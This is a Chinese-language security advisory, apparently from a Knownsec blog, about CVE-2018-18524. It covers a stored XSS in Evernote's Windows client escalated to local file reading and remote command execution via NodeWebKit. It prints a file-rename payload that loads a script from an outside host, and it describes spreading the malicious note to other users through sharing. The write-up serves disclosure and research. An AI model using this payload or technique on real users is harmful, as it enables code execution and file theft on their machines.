印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)

来源:scanv2018.11.05

一 漏洞简介

1.1.印象笔记

印象笔记支持所有的主流平台系统,一处编辑,全平台之间可以同步。同时,印象笔记支持web版和移动网页版,

只要能上网的设备均可以在浏览器中打开进行操作。

1.2.漏洞情况

  • 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
  • 由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型XSS并在 6.15 版本中触发。
  • 印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
  • 经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行

二 漏洞详情

2.1.印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

@sebao 发现的储存型 XSS 漏洞的触发方式如下:

1. 在笔记中添加一张图片

2. 右键并将该图片更名为" onclick="alert(1)">.jpg" 3. 双击打开该笔记并点击图片,成功弹框。

经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了 ><" 等特殊字符,但有意思的是我在 6.14 版本下测试

的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

 

2.2 演示模式下的 Nodejs 代码注入

在 6.14 版本的客户端中将一张图片更名为 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,

将客户端升级为最新版 6.15。

遍历 C:\\Program Files(x86)\Evernote\Evernote\ 目录下的所有文件。

我发现印象笔记在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目录下存在 NodeWebKit

在演示的时候,印象笔记会调用这个NodeWebKit。可以通过之前发现的储存型 XSS 在 NodeWebKit 中执行 Nodejs 代码。

2.3本地文件读取和远程命令执行的实现

既然可以注入 Nodejs 代码,那就意味着可以尝试使用 child_process 来执行任意命令。

尝试使用 require('child_process').exec,但是却报错了: Module name "child_process" has not been loaded yet for context

How we exploited a remote code execution vulnerability in math.js

根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

window.process.env 中获取到 env 的内容,并使用 spawn_sync 成功地弹出了计算器。

2.4通过分享功能攻击其他用户

在注册了一个小号后,尝试使用分享功能将 恶意笔记 分享给 ”他人“。

我的小号将会在 工作空间 收到别人发来的消息。

小号尝试演示这个笔记,被注入的 Nodejs 代码成功执行!

 

热门文章

关注知道创宇云安全

获取安全动态